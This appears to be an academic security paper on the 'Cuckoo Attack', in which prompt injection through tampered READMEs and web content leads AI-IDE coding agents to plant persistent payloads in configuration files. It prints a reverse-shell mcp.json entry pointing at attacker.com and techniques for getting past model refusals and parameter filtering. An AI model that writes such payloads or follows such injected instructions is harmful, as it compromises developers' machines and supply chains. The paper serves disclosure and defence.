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Abstract—Modern AI-powered Integrated Development En-
vironments (AI-IDEs) are increasingly defined by an Agent-
centric architecture, where an LLM-powered Agent is deeply
integrated to autonomously execute complex tasks. This tight
integration, however, also introduces a new and critical attack
surface. Attackers can exploit these components by injecting
malicious instructions into untrusted external sources, effectively
hijacking the Agent to perform harmful operations beyond the
user’s intention or awareness. This emerging threat has quickly
attracted research attention, leading to various proposed attack
vectors, such as hijacking Model Context Protocol (MCP) Servers
to access private data. However, most existing approaches lack
stealth and persistence, limiting their practical impact.

We propose the CUCKOO ATTACK1, a novel attack that achieves
stealthy and persistent command execution by embedding mali-
cious payloads into configuration files. These files, commonly used
in AI-IDEs, can silently execute system commands during routine
operations, without displaying execution details to the user. Once
configured, such files are rarely revisited unless an obvious run-
time error occurs, creating a blind spot for attackers to exploit.
We formalize our attack paradigm into two stages, including
initial infection and persistence. Based on these stages, we analyze
the practicality of the attack execution process and identify
the relevant exploitation techniques. Furthermore, we analyze
the impact of CUCKOO ATTACK, which can not only invade the
developer’s local computer but also achieve supply chain attacks
through the spread of configuration files. We contribute seven
actionable checkpoints for vendors to evaluate their product
security. The critical need for these checks is demonstrated by our
end-to-end Proof of Concept (PoC), which successfully validated
the proposed attack across nine mainstream Agent and AI-IDE
pairs.

I. INTRODUCTION

The integration of advanced Large Language Models
(LLMs) into Integrated Development Environments (IDEs) has
created a new, powerful class of tools: the AI-IDE. Tech giants
like Amazon, Google, and ByteDance, along with startups
such as Anysphere (Cursor), have launched these tools to
widespread attention and a rapidly growing user base [1].
According to surveys from Ai505, 88% of developers now

1The name comes from the cuckoo bird, which tricks other birds into raising
its young by laying eggs in their nests. Our attack works the same way: it
hides a payload (the “egg”) inside a trusted configuration file (the “nest”), so
the AI-IDE (the “host bird”) unknowingly executes it.

consider AI-IDEs essential for accelerating software develop-
ment [2]. These tools significantly improve productivity by
providing features such as code completion, automated error
correction, and streamlined environment configuration.

Most AI-IDEs adopt an architecture centered around an
AI Coding Agent (Agent), which is typically implemented
as an IDE extension. The Agent interacts with the developer
through a dedicated interface and can access online resources
to retrieve relevant guidelines based on user intent. Following
such guidelines, the Agent determines the necessary tasks and
invokes other IDE components, including the file explorer,
terminal, or MCP Server, to accomplish these tasks. For
example, when a user wants to resolve an issue in their GitHub
repository, they can simply describe the request in natural
language. The Agent automatically engages the GitHub MCP
Server to locate the issue, invokes the file explorer to edit the
relevant code, and pushes the changes back to the repository.

However, introducing Agent-centered workflows also ex-
pands the attack surface of AI-IDEs. If the retrieved online
content contains malicious instructions crafted by an attacker,
the Agent may unintentionally execute harmful operations that
diverge from the user’s intended actions. This emerging threat
has recently drawn significant research attention. Prior work
has demonstrated attacks where manipulated Agents invoke
the MCP Server to exfiltrate private information [3], steal user
credentials [4], or execute malicious shell commands directly
on the user’s machine [5].

Despite these demonstrations, known attacks suffer from
two fundamental limitations that reduce their practicality in
the real world: insufficient stealth and lack of persistence.
First, all actions are typically displayed to the user within
the Agent interface, making suspicious deviations from the
intended workflow easily detectable. Second, existing attacks
typically follow a direct and synchronous execution paradigm,
where the malicious instruction itself constitutes the attack
action. This design results in only a one-shot effect, hindering
attackers from maintaining a persistent presence or achiev-
ing long-term impact on the victim’s system. While these
attacks illustrate the feasibility of exploiting users’ trust in
these Agents, they remain limited in scope, resembling red-
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team exercises and lacking the sophistication, persistence, and
automation necessary for large-scale exploitation.
Our work. In this paper, we propose CUCKOO ATTACK,
a novel stealthy and persistent attack against AI-IDEs. Our
approach introduces two key innovations designed to turn a
one-off interaction into a persistent threat that executes silently
in the background. First, to achieve stealth, we introduce a new
attack paradigm that decouples the Agent’s immediate action
from the eventual malicious execution. Instead of instructing
the Agent to run a suspicious command that would be visible
in the interface, we leverage legitimate user requests where the
Agent is expected to modify project or AI-IDE configurations.
This action, being an anticipated part of the workflow, appears
entirely benign and is unlikely to raise suspicion. The payload
is then triggered later, detached from the initial interaction,
when the user performs a routine activity like building the
project or launching a configuration-relative AI-IDE work-
flow. Second, to establish persistence, we leverage a rarely
explored and overlooked attack vector: AI-IDE and project
configuration files. These files are ideal carriers because they
are inherently long-lived and are automatically invoked during
standard development workflows. By embedding the payload
in a build script or an IDE configuration, CUCKOO ATTACK
ensures the malicious command remains on the victim’s sys-
tem across sessions and reboots. This allows the attack to
be re-triggered whenever the associated workflow is executed,
posing a durable and long-lasting threat.

We formalize our proposed attack paradigm into two pri-
mary stages: (1) initial infection: an Agent is manipulated to
insert a malicious payload into a configuration file. This stage
involves two key steps: (1a) the Agent retrieves guidelines
from an untrusted online source, and (1b) following the
guidelines, the Agent is tricked into writing the payload into
the configuration file. (2) persistence: the embedded payload
is triggered covertly whenever a user invokes a legitimate
function that relies on the compromised configuration file.
To investigate the real-world practicality and implications
of CUCKOO ATTACK, we conduct a comprehensive analysis
guided by the following research questions, which map di-
rectly to our attack paradigm:
• RQ1: To what extent do users delegate configuration-
related tasks to Agents, and can adversaries stealthily
inject malicious instructions into such workflows? (Stage
1a) To answer this RQ, we first investigate common developer
workflows that create opportunities for Agents to process
untrusted content. We then analyze the mechanisms that allow
the stealthy injection of malicious instructions into these
workflows. Our findings confirm a significant risk: a user study
revealed that over half of users delegate these configuration
tasks, while our analysis identified and validated four distinct
techniques for stealthily injecting malicious instructions into
the workflow.
• RQ2: What security mechanisms exist to prevent unsafe
operations by Agents, and how can attackers bypass them
to inject payloads? (Stage 1b) To answer this RQ, we study
the effectiveness of security design to prevent unexpected file

modifications. Our analysis covers both LLM-intrinsic safety
alignments and Agent security designs implemented by AI-
IDE vendors. Our empirical studies demonstrate how attackers
can bypass them by exploiting implementation flaws and prove
that attackers can covertly inject payloads in all nine Agent/AI-
IDE pairs tested.

• RQ3: How can malicious payloads embedded in configu-
ration files persist and evade user detection across sessions?
(Stage 2) To answer this RQ, we examine the mechanisms that
enable the attack to remain undetected. This includes analyzing
how configuration file workflows can hide the execution of
malicious commands and allow the payload to persist across
sessions. Our findings indicate that the attack allows payloads
to be executed within opaque background processes and are
re-invoked each time the legitimate workflow runs.

• RQ4: What is the practical impact of such embedded
payloads, both on local compromise and potential supply
chain propagation? To answer this RQ, we assess the poten-
tial damage of a successful attack, revealing its scope from
the complete compromise of a local developer machine to its
propagation as a widespread software supply chain attack.

In RQ1 and RQ2, we also summarize seven actionable
checkpoints designed to prevent the initial infection. These
checkpoints provide vendors with concrete strategies to assess
and strengthen their products against CUCKOO ATTACK.

End-to-end PoC for real-world attacks. Building on our
analysis, we develop PoC artifacts and conduct an end-to-end
attack demonstration. Our PoC reveals that all mainstream
AI-IDEs we evaluated are vulnerable to CUCKOO ATTACK.
Specifically, our prototype achieves Arbitrary Command Exe-
cution (ACE) in all Agents except Cursor (as detailed in Sec-
tion III-C). We have responsibly disclosed these findings to
the affected vendors and relevant vulnerability management
organizations. At the time of submission, two major vendors
acknowledged our reports.

Contribution. In summary, our main contributions include:

• Novel attack paradigm and vector. We propose
CUCKOO ATTACK, a new attack technique that achieves
stealthy and persistent compromise of user PCs by manipu-
lating Agents to inject malicious payloads into configuration
files.

• Practicality and impact Analysis. Our analysis reveals
that design flaws in Agents make them highly susceptible
to manipulation, leading to vulnerabilities that span from
individual developer machines to the software supply chain.

• End-to-end PoC. We implement a PoC to demonstrate
the deployment and effectiveness of CUCKOO ATTACK across
mainstream AI-IDEs and have responsibly disclosed the vul-
nerabilities to all affected vendors.

• Security mitigations. We provide seven actionable check-
points along with PoC materials to help vendors assess their
products for CUCKOO ATTACK. Additionally, we discuss po-
tential mitigations to strengthen the AI-IDE design.



II. BACKGROUND

A. AI-Assisted Development

AI-assisted development is fundamentally reshaping modern
software engineering [6]. This transformation is marked by the
rapid integration of AI Agents into IDEs, either as external
extensions or as built-in modules [7].
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Fig. 1: A typical AI-IDE workflow.

Figure 1 illustrates a typical workflow in an AI-IDE, where
a developer interacts with an LLM-powered Agent through
a conversational interface. The process unfolds in two main
steps: The developer states their intent in natural language,
which the Agent interprets (step 1). The Agent then formulates
an action plan, which may involve retrieving information from
online sources like documentation or forums (step 2.1). It
executes this plan by performing actions such as modifying
files, running commands, or invoking an MCP Server (step
2.2). Feedback from these components is then returned to the
Agent, updating its context to guide subsequent tasks (step
2.3).

By leveraging access to a wide range of system resources,
these Agents provide automated functionalities. Their capa-
bilities include reading the entire project codebase, invoking
IDE components such as file explorers and terminals, writing
code autonomously, executing shell commands, and invoking
specific MCP Servers.

B. Untrusted Information Sources as a Threat in LLM-
integrated App

LLM-integrated applications—including AI search engine
[8], retrieval-augmented generation (RAG) systems [9], [10],
and user assistant [11]—often retrieve external information
from the Internet, such as GitHub README.md files, technical
forum posts, and developer blogs. Since these sources are
fully or partially controlled by third parties, including potential
adversaries, they introduce a critical security risk. Attackers
can embed malicious instructions in seemingly benign content.
If processed without proper validation, an LLM may interpret
these instructions as legitimate directives and perform unin-
tended or unauthorized actions.

This threat has been demonstrated across multiple real-
world scenarios. For example, Bing Chat [12] may execute ma-
licious prompts hidden in HTML comments, enabling phishing
attacks [13]. Similarly, RAG systems can be poisoned by

crafted content on editable platforms like Wikipedia, causing
manipulated responses or leakage of private data [14]. An
autonomous assistant Agent that reads and processes webpages
or local files is vulnerable to malicious instructions embedded
in these resources, which can be misinterpreted as legitimate
high-level tasks and lead to remote code execution [15], [16].

C. The Emergent Attack Surface in AI-IDE

As a specialized type of LLM-integrated application, AI-
IDEs introduce unique security risks. When their integrated
Agents are manipulated by malicious instructions, the resulting
attacks can cause severe damage. These Agents have privileges
to invoke MCP Servers, edit project files, and execute shell
commands. If an attacker hijacks these capabilities, they
can compromise the entire development environment. This
expanded attack surface has already attracted attention from
the security community. Prior studies have demonstrated that
compromised Agents can directly execute destructive com-
mands (e.g., rm -rf /) through the built-in terminal [17],
[18] or exploit user identity tokens stored in MCP Servers to
exfiltrate sensitive credentials [3].
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Fig. 2: Current attack example - GitHub credential exfiltration.

A notable example is an attack disclosed by Invariant Lab
[19], which demonstrates how an Agent can be hijacked
to steal private credentials from repositories linked via the
GitHub MCP Server [4]. Figure 2 illustrates the attack
workflow. An attacker posts an issue containing malicious
instructions to a public GitHub repository. When a developer
later asks the Agent to address these issues ①, the Agent
invokes GitHub MCP Server ② and retrieves the poisoned
instructions ③. The instructions then cause the Agent to
enumerate the developer’s private repositories, locate sensitive
files (e.g., config.yaml, credentials.env), copy their
contents ④, and create a new issue or file in the attacker’s
public repository where the stolen data is pasted ⑤.

D. Cuckoo Attack Motivation

While these existing attacks demonstrate the feasibility of
exploiting user trust in Agents and leveraging their identity
token, they fall short of posing a sustained, real-world threat.
This is primarily due to their inherent limitations in two key
areas: stealth and persistence.

Existing attacks are insufficiently stealthy because their
malicious operations are transparently broadcast in the Agent



interface, revealing actions that starkly deviate from normal
user workflows. These interfaces, designed to keep the user in-
formed, inadvertently expose each malicious operation, which
clearly reveals the invoked tools and parameters to the user
(e.g., read_file, write_file). This transparency alone
makes attacks detectable. For instance, if the Agent attempts
to exfiltrate credentials, the user would immediately observe
its attempt to steal a sensitive file like .private_key.
However, such alerts only arise when the Agent action is
inconsistent with the development task. A developer might
expect an Agent to read project files, but the subsequent
action of writing those contents to a public channel creates
an undeniable red flag. The sequence of reading a private
credential file and immediately attempting to post it to a public
GitHub issue is a behavioral anomaly that is fundamentally at
odds with a user’s security expectations and habits, making
the malicious intent easy to spot.

Furthermore, current attacks are not persistent due to a fun-
damental attack paradigm flaw: the malicious prompt instruc-
tion is conflated with the attack payload. In these paradigms,
the text that hijacks the Agent is the same text that constitutes
the malicious instruction set, meaning there is no separation
between the trigger and the action. This design creates a
dilemma for achieving long-term compromise. To maintain its
effect, the malicious prompt requires constant reintroduction,
forcing the attacker into one of two impractical scenarios.
Either the payload is stored in a public, easily discoverable
channel (like a GitHub issue) where it can be detected and
removed, or it is not saved at all, limiting the attack to a single
session. This reliance on ephemeral or conspicuous channels
prevents an attacker from establishing a lasting foothold.

The limitations of existing attacks—lacking both stealth
and persistence—reveal a significant gap in the current threat
landscape. Most prior research focuses on triggering one-time
malicious behavior in red-teaming scenarios, rather than estab-
lishing long-term compromise across sessions [20], [21]. Such
attacks typically involve overt instructions (e.g., executing rm
-rf /) that are easily detected because they starkly deviate from
user habits. This gap prompts an important research question:
how can an attack paradigm be designed to simultaneously
achieve stealth and persistence by embedding itself within the
AI-IDE, rather than depending on repeated and observable
external triggers?

To address this, we formally define two essential properties.
Stealth requires that the initial infection be indistinguishable
from legitimate user activity, and that subsequent malicious be-
haviors execute silently in the background, leaving no visible
trace in the UI or logs. Persistence demands that the payload
be embedded within the local environment and decoupled from
its original trigger, such that it can autonomously reactivate
across sessions—initiated by routine actions like opening a
project—without any further interaction from the attacker.

III. CUCKOO ATTACK

In this paper, we propose a new attack, CUCKOO ATTACK,
that achieves stealth and persistence. Specifically, this attack

embeds malicious payloads into configuration files, achiev-
ing persistence and stealth by leveraging legitimate Agent
behavior. In this Section, we begin by presenting a systematic
introduction to our threat model, which outlines the assumed
capabilities of attackers and users’ security awareness (Sec-
tion III-A). Then, we detail two key observations that enable
this attack, and formalize our attack as a two-stage paradigm,
demonstrating how malicious payloads can stealthily infect
and be persistently embedded within configuration files (Sec-
tion III-B). Finally, we provide a running example, illustrating
how CUCKOO ATTACK exploits a common vulnerability in
AI-IDEs to achieve successful compromise (Section III-C).

A. Threat Model & Assumptions

We establish a realistic threat model for the proposed
CUCKOO ATTACK, which targets a typical AI-IDE users, such
as a software developers or engineers, who rely on Agents
to automate development tasks. This model encompasses both
attacker capabilities observed in real-world incidents and com-
mon user behaviors in modern development environments.
Attacker assumptions and capabilities. The attacker aims to
gain persistent control over a developer’s workstation, enabling
follow-up actions such as credential theft, supply-chain com-
promise, or lateral movement within an organization’s internal
network. This type of attacker realistically exists—for exam-
ple, advanced persistent threat (APT) groups or cybercriminals
targeting software supply chains have historically infiltrated
developer systems. We assume the attacker: (1) has no physical
or privileged access to the victim’s system and is unaware of
unpatched OS vulnerabilities, and (2) cannot bypass standard
defenses such as Intrusion Detection Systems (IDS) or OS-
level protections (e.g., User Account Control).

However, the attacker can freely publish or modify on-
line resources—such as GitHub repositories or technical
blogs—and embed malicious yet contextually relevant instruc-
tions. This capability is widely available to any motivated
adversary, and similar instruction-based attacks have been
observed in practice [22].
User assumptions. We assume the users are reasonably
security-aware: (1) they avoid phishing links and do not
execute suspicious attachments; (2) they are aware of prompt-
injection risks and actively monitor the Agent interface during
automated tasks; (3) they do not blindly approve malicious
instructions displayed in the interface like rm -rf /.

Nevertheless, users seek to increase productivity and re-
duce repetitive work. They install AI-IDEs, delegate routine
operations to Agents, and permit Agents to retrieve external
resources (e.g., online guidance published in blogs, techni-
cal forums, or official documentation) to enhance decision-
making. These behaviors are prevalent in modern software
development, as confirmed by third-party surveys and user
studies in Section IV-A.

B. Methodology

Key observations. The design of the CUCKOO ATTACK
is grounded in two key observations regarding modern AI-



IDEs and their toolchain ecosystems, which together expose a
previously overlooked attack surface:

1. Configuration files as a stealthy execution channel: In
modern development workflows, many configuration files are
not limited to static parameter definitions, such as simple
key-value settings. Instead, they support embedded executable
content such as shell commands or script references, which are
automatically invoked during specific stages of the develop-
ment lifecycle—e.g., when initializing environments, building
projects, or launching debug sessions. These configurations,
while intended to simplify automation, effectively serve as
implicit and programmable execution channels.

2. The configure and forget pattern: Once a development
workflow is successfully configured and functional, users
rarely re-inspect the underlying configuration files unless an
error arises. More critically, many execution paths defined in
these files are triggered via high-level IDE interactions, such
as buttons or task panels, and run silently in the background,
often without clear output or user confirmation. This lack of
visibility, combined with users’ trust in previously working
setups, creates a blind spot that attackers can exploit for
stealthy persistence.

Together, these conditions provide an ideal foundation for
the CUCKOO ATTACK: a writable configuration interface capa-
ble of executing arbitrary system commands, and an execution
context in which malicious behavior can remain unnoticed
over time.
Attack paradigm. Building on the above observations, we
formalize CUCKOO ATTACK as a two-stage paradigm: initial
infection and persistence. The attack segregates the injection
and execution phases, making it harder for users to notice the
malicious behavior and enabling repeated execution over time.

In the initial infection stage, the attacker’s goal is to embed
a malicious payload into a configuration file that supports
executable content. This typically occurs during common user
interactions with Agent, such as requesting environment setup,
generating build tasks, or configuring the toolchain. The key
distinction from prior work lies in the delivery mechanism.
Unlike attacks that introduce a new, unexpected operation,
our paradigm embeds the payload during a legitimate file
modification that the user has already requested. For instance,
when a user asks the Agent to add a new build configuration,
the Agent performs the expected write operation, but covertly
includes the malicious payload alongside the benign code.
From the user’s perspective, the Agent is simply fulfilling
their request, making the malicious insertion indistinguishable
from the intended action. This process is further facilitated by
security implementation flaws we discovered in mainstream
AI-IDEs, which allow attackers to implant payloads even
without any user supervision. We analyze these flaws in detail
in Section IV.

In the persistence stage, the implanted payload becomes
part of the configuration file within the IDE workflow and
requires no further interaction from the attacker. It is passively
triggered during routine operations—for instance, when the
IDE automatically executes configuration-defined commands

during startup, build, or run actions. Since the execution path
is defined by the user’s own configuration, and often occurs
silently in the background, the malicious behavior is treated
as legitimate and executed without warning. This allows
the attack to persist across sessions and trigger repeatedly,
maintaining both stealth and long-term presence.

C. A Running Example

To illustrate how CUCKOO ATTACK works, this section
presents a running example that maps to our attack diagram.
We use a common scenario—installing an MCP Server in an
AI-IDE—to demonstrate the attack. Our explanation proceeds
as follows: first, we describe the normal setup and commu-
nication process for an MCP Server. Then, we detail how
an attacker exploits this process in two stages: (1) initial
infection via a malicious installation guide and (2) persistent
and stealthy execution of the embedded payload.

Installing an MCP Server is a key method for developers
to extend the Agent’s capabilities in an AI-IDE, for instance,
by adding new tools for specific coding tasks or connecting to
third-party platforms. The typical workflow involves two main
steps: first, downloading the server software package; and
second, registering it with the Agent by editing a configuration
file (e.g., mcp.json). Crucially, this file contains command
and args fields that specify the startup command to launch
the MCP Server. All subsequent communication between the
Agent and the server is initiated via this startup command.

① The client executes the MCP startup command 
in mcp.json.

② Establish a connection through an initial response.

③ The Agent invokes the corresponding MCP Server.

MCP Server Agent

Terminal

File Explore

MCP Servers MCP Client

mcp.json

④ The MCP Server returns the query result.

STDIO 
Comunication

Fig. 3: The trusted handshake for an MCP Server’s connection
and communication.

Figure 3 illustrates this trusted communication protocol.
The Agent launches the server using the startup command
from mcp.json ①. A critical step immediately follows: the
server must respond with an initial response illustrating its
capabilities and tool descriptions ②. This successful handshake
is required to register the server with the Agent. If this
response is not received, the Agent will throw an error, alerting
the user to a configuration problem. Only after this handshake
does the normal request-response cycle (③, ④) begin. This
required handshake presents a challenge for an attacker: any
malicious command must execute without disrupting this vital
communication step.

An attacker can weaponize this standard setup process to
achieve a persistent and stealthy compromise.
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command execution.

Initial Infection. (Stage 1) The attack begins with an MCP
Server GitHub repository vector. The attacker forks a legiti-
mate repository and tampers with the installation instructions
in its README.md file. This malicious repository is then
promoted through channels like developer forums or blog
posts. To simplify installation, many users employ helper
tools (e.g., mcp-installer [23] with 1.3k stars) or the Agent
itself to automate deployment by following these README.md
instructions.

The process of initial infection is shown in Figure 4.
The user requests the Agent to assist in installing an MCP
Server and provides a GitHub repository URL released by
attack ①. (Stage 1a) When the Agent follows the tampered
guide, it retrieves the MCP Server install instructions in the
README.md ②. (Stage 1b) Then, the Agent is instructed to
write a malicious command into the mcp.json configuration
file ③. Most AI-IDEs do not sanitize special characters in
this file, allowing for command injection using shell operators
without interrupting normal MCP Server function.

Listing 1 shows how an attacker modifies mcp.json,
chaining a malicious payload with the legitimate server com-
mand using && exec.� �

1 {
2 " MCPServer .Name": {
3 " command ": "bash",
4 "args": [
5 "−c",
6 "bash −i >&

/dev/tcp/ attacker .com /4444
0 >&1 && exec node
/path/to/ mcpserver / index .js"

7 ]
8 }
9 }� �

Listing 1: An example for modified mcp.json.

Persistence. (Stage 2) Once the malicious configuration
is saved, the attack can achieve persistence and execute
stealthily. Each time the Agent starts the MCP Server, the
infected command is executed. In Listing 1, the payload
bash -i >& /dev/tcp/attacker.com/4444 0>&1
runs first, starting an interactive Bash shell, redirecting its
input/output to a TCP connection to attacker.com:4444, and

creating a reverse shell on the victim’s machine. This es-
tablishes a persistent foothold outside of the IDE’s direct
control. More dangerous payloads could download remote
scripts, exfiltrate data, or set up a backdoor. The stealth
execution relies on the && exec combination. The && op-
erator ensures the legitimate MCP Server command (node
/path/to/mcpserver/index.js) runs if the malicious
payload executes successfully, preventing errors that might
alert the user. The exec command is critical for stealth:
it replaces the current shell process entirely with the new
node process. Consequently, the parent bash process that
launched the payload disappears. Any process monitoring
tool will only show the legitimate-looking node process of
the MCP Server, completely hiding the fact that a malicious
command has already run. This makes the initial compromise
and subsequent re-infections during server restarts invisible to
the administrator.

We have verified this attack on a large number of popular
AI-IDEs, including GitHub Copilot, Cline, Windsurf, Trae, etc.
2 We illustrate the reproduction situation on these AI-IDEs in
Section V.

IV. PRACTICALITY AND IMPACT ANALYSIS

In this section, we explore the technical feasibility and
practical impact of the proposed attack. To assess feasibility,
we analyze the flaws in major AI-IDEs and summarize the
specific techniques and criteria that can be leveraged at each
step of the attack pipeline. Based on this analysis, we propose
seven actionable checkpoints during the initial infection stage
to evaluate whether systems contain flaws that may make
them vulnerable to CUCKOO ATTACK. Finally, we analyze the
resulting security consequences and evaluate the scope of their
potential impact.

Specifically, we study the following research questions:
• RQ1: To what extent do users delegate configuration-

related tasks to Agents, and can adversaries stealthily inject
malicious instructions into such workflows? (Stage 1a)
• RQ2: What security mechanisms exist to prevent unsafe

operations by Agents, and how can attackers bypass them to
inject malicious payloads? (Stage 1b)
• RQ3: How can malicious payloads embedded in config-

uration files persist and evade user detection across sessions?
(Stage 2)
• RQ4: What is the practical impact of such embedded

payloads, both on local compromise and potential supply chain
propagation?

To validate these technical approaches and assess their real-
world impact, we evaluate them on mainstream real-world AI-
IDE and Agent pairs shown in Table II.

A. Exploring Malicious Injection in Agent-Driven Configura-
tions (RQ1)

To answer RQ1, we investigate how much users delegate
configuration-related tasks to Agents and whether adversaries

2We upload the PoC videos in https://zenodo.org/records/16757439



TABLE I: Common Agent workflows identified in CUCKOO ATTACK. Impact users are estimated from the number of GitHub
repositories containing the corresponding configuration files, the number of stars for the relevant repository, or vendor-released
data [24], [25]. “-” indicates a widespread but hard-to-quantify specific impact number.

Agent Operation Reference Configuration File Impact Users Impact Scope

PC OSS

IDE configuration

Vibe-coding environment configuration Blog [26] mcp.json 1M ✓ ✓
Integrate the Agent with a third-party MCP Servers Official Documentation [27] mcp.json 1M ✓ ✓
IDE setting Official Documentation [28] settings.json, launch.json - ✓
VSCode Tasks Blog [29] tasks.json 188k ✓
Terminal/environment variable configuration Official Blog [30] ∼/.bashrc - ✓

Install and compile the toolchain

C/C++ project compile Blog [31] Makefile - ✓ ✓
Python project install Blog [32] pyproject.toml - ✓ ✓
Maven project compile Blog [33] pom.xml - ✓ ✓
Gradle project compile Blog [34] build.gradle - ✓ ✓

Automatic development environment deployment

GitHub Codespace configuration for VSCode Blog [35] devcontianer.json 32.4M ✓
GitHub Codespace configuration for a repository Blog [35] devcontainer.json 125k ✓
GitHub Action configuration Blog [36], Paper [37] .github/workflows 5.7M ✓

can stealthily inject malicious instructions into these work-
flows. Specifically, we examine the configuration files that
can be used in our CUCKOO ATTACK. To validate how
often developers rely on Agents to modify and edit these
configuration files, we conduct a user study. Additionally, we
explore techniques for embedding malicious instructions in
online resources and validate whether these instructions remain
invisible as inputs to the Agent, addressing the potential for
adversarial injection.
Delegation of configuration-related tasks to Agents. We
examine configuration files that can be used for our CUCKOO
ATTACK. Specifically, these configuration files are part of AI-
related workflows and must contain executable commands. To
achieve this, we utilize the deep search function provided by
XAI Grok [38], using “AI automation” and “configuration file
support for command execution” as the search keywords. This
allows us to collect all official documentation and technical
blogs related to Agent-assisted configuration file editing. We
manually verify all search results, identify eleven relevant files,
and classify them into three categories. As the “Configuration
File” row in Table I, we summarize the files that support
command execution and are commonly used in Agent-assisted
configuration.

To assess whether developers rely on Agents to modify
and edit these configuration files, we conducted a user study
to investigate whether developers use Agents for sensitive
configuration tasks. We surveyed 124 AI-IDE users via an
online questionnaire, with participants recruited from the
developer community and academic forums. Over 55% of
the participants were industry practitioners (e.g., engineers,
architects) or students and researchers with more than four
years of programming training. They were asked to rate
their willingness (on a scale of 0 to 10) to use an Agent
for tasks involving the configuration files we identified. A

score of 10 indicated that the user had already performed
such a task in their daily work 3. The results demonstrate
that these practices are common. A majority of respondents
expressed a high willingness (or confirmed prior usage) to
employ Agents for tasks such as automatically configuring
a development environment from a README.md file (80%),
creating or modifying project build configuration files (74%),
and updating IDE settings (73%). This indicates a clear user
acceptance for delegating configuration tasks to Agents. More
details about our survey method and results of our study are
provided in Appendix A. Additionally, our findings align with
broader industry trends. The 2024 Stack Overflow Developer
Survey reports that 39.6% of developers already use AI tools
for tasks like deployment, which often involves the same
configuration files central to our study [25]. This convergence
of data confirms the existence of a significant attack surface,
where developers direct Agents to read potentially untrusted
sources and modify critical local configuration files.
Malicious instructions injections. Having established this
attack surface, we analyze how attackers can manipulate the
Agent. Specifically, we examine methods to evade user review
or exposure in the IDE UI.

Hidden instructions evade user review. In Agent-driven
workflows, manually vetting all content processed by the
Agent is impractical due to the complexity and scale. This
vulnerability can be exploited by hiding instructions within a
source in three ways: (1) in non-rendered content: Agents can
parse raw HTML, allowing attackers to place malicious com-
mands in invisible elements like comments or metadata, which
are unseen by a user viewing the rendered webpage [39];
(2) in invisible characters: attackers can use non-rendering
Unicode characters to embed commands that are not displayed

3Complete user study form: https://forms.office.com/r/Fk09yuuSir



on the console but are parsed and executed correctly by
the Agent [40], [41]; (3) in social engineering: deceptive
instructions that appear legitimate can trick users, especially
those unfamiliar with a specific technology, into accepting
them without suspicion [42].

Users are highly susceptible to such content that hides
malicious instructions. This is evidenced by frequent supply
chain attacks, which have shown that users often struggle to
distinguish between trustworthy and untrustworthy sources,
especially when these malicious sources are widely circulated
within the technical community [43]. Furthermore, recent
research on MCP security highlights that when users install
the MCP Server, they may be vulnerable to the Tool Name
Conflicts attack [44], which is another example of how attack-
ers can exploit system processes by hiding malicious actions
behind legitimate names.

Agent information retrieval is opaque. In addition to the
specific URL provided to the Agent, the Agent autonomously
searches the internet for relevant content. As the first check-
point, we recommend evaluating whether the information
retrieval process is transparent to the user. To demonstrate
how to explore this, we conducted an empirical study on
existing AI-IDE and Agent pairs. The results show that, for
most of these pairs, the retrieval process is opaque to the user.
Specifically, most Agents only display the title and a truncated
URL, rather than the full content parsed. This prevents users
from fully assessing the material for potentially malicious
instructions. The results are summarized as the “Information
Retrieval Opacity” row in Table II. This lack of opacity is a
common design choice across nearly all mainstream Agents.
The only exception is Cline with GPT-4.1, which, using the
browser tool, directly displays the content within the Agent
interface.

Attackers can exploit this opacity by several techniques. For
instance, they can use SEO poisoning to increase the likelihood
that malicious content is automatically retrieved by the Agent
[45]. Existing research has shown that when malicious and
benign sources are retrieved together, attackers can manipulate
the Agent to prioritize following the malicious instructions
through carefully crafted prompts [46].

Answer to RQ1: Agents are highly susceptible to ma-
nipulation because a broad attack surface—created by
users delegating tasks involving powerful configuration
files—is easily exploited through the Agent’s opaque
retrieval of malicious instructions hidden within un-
trusted online sources.

B. Malicious Payload Injection Against Security Mechanisms
(RQ2)

To answer RQ2, we examine the security mechanisms in
the Agent and proposed the relevant bypassing techniques.
Specifically, as shown in Figure 5, we examine two primary
layers of defense: (1) the LLM’s intrinsic safety alignment (in-
cluding malicious behavior rejection and malicious parameter

filtering), and (2) the Agent’s explicit security designs (includ-
ing task summary display, Agent trust boundary, foreground
display for file editing, forced confirmation for file editing, and
low visibility of command execution). For the LLM’s safety
alignments, we summarize techniques to circumvent them. For
the Agent’s security designs, we propose seven checkpoints
(Table II), explain the potential flaws in these defenses, and
demonstrate how attackers can exploit these weaknesses to
inject payloads into configuration files.
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Fig. 5: Overview of the analysis for RQ2.

Circumventing malicious behavior rejection through
trusted command abuse. LLMs are trained to refuse
instructions with overtly malicious semantics for ethical
reasons. For instance, prompting Cline with Claude-
4 to execute echo ‘malicious payload’ >
/home/user/malicious.sh is correctly identified
and blocked with the response “I CAN’T ASSIST WITH
THAT”. However, this safety alignment is based on semantic
evaluation, rather than a functional understanding of command
danger. Our study shows that LLMs do not refuse to execute
powerful, potentially dangerous commands like bash, curl,
or rm if the prompt’s semantics appear harmless.

Attackers can exploit this semantic-only metric by obfuscat-
ing their intent. Instead of a direct malicious command, they
instruct the Agent to use a neutral tool like bash or curl to
execute the payload. Since the prompt is framed as a legitimate
configuration step (e.g., "Use bash to run the server startup
script"), the LLM perceives no malicious intent and allows
the command to proceed.
Circumventing malicious parameter filtering through ob-
fuscating the intent. LLMs also attempt to filter mali-
cious parameters from otherwise benign instructions based
on context. For example, if we modify a README.md file
to include a startup command like curl www.shell.com/
payload.sh in the running example, we observed that the
Agent would often silently ignore this command during file
editing, indicating a filtering mechanism is active. However,
this defense is brittle and highly dependent on context. We
found that if the parameter appears contextually relevant,
the filter fails. Replacing the generic URL with a plausi-
ble one, such as curl http://sequentialmcp.com/
sequential_component.sh when installing a “Sequen-
tial Thinking MCP Server”, bypasses this defense.

This flaw is trivial for attackers to exploit. By registering
a domain name that mimics the legitimate software being



TABLE II: Seven checkpoints and identified security flaws across mainstream AI-IDEs. G stands for Global (whole file system),
and W stands for Workspace (current project). ✔ indicates that CUCKOO ATTACK can bypass the security design. ✘ means
the design cannot be bypassed. ✔∗ denotes that the security design can be bypassed if a specific configuration is used.

IDE Agent Model Information Retrieval
Opacity

Task Summary
Display

Agent Trust
Boundary

File Editing Command Execution
Foreground Display Forced Confirmation Low Visibility Auto-approval

VSCode Cline GPT-4.1 ✘ ✘ G ✘ ✔ ✔ ✔∗

Claude-4 ✔ ✘ G ✘ ✔ ✔ ✔∗

Copilot Claude-4 ✔ ✔ W ✘ ✔ ✔ ✔∗

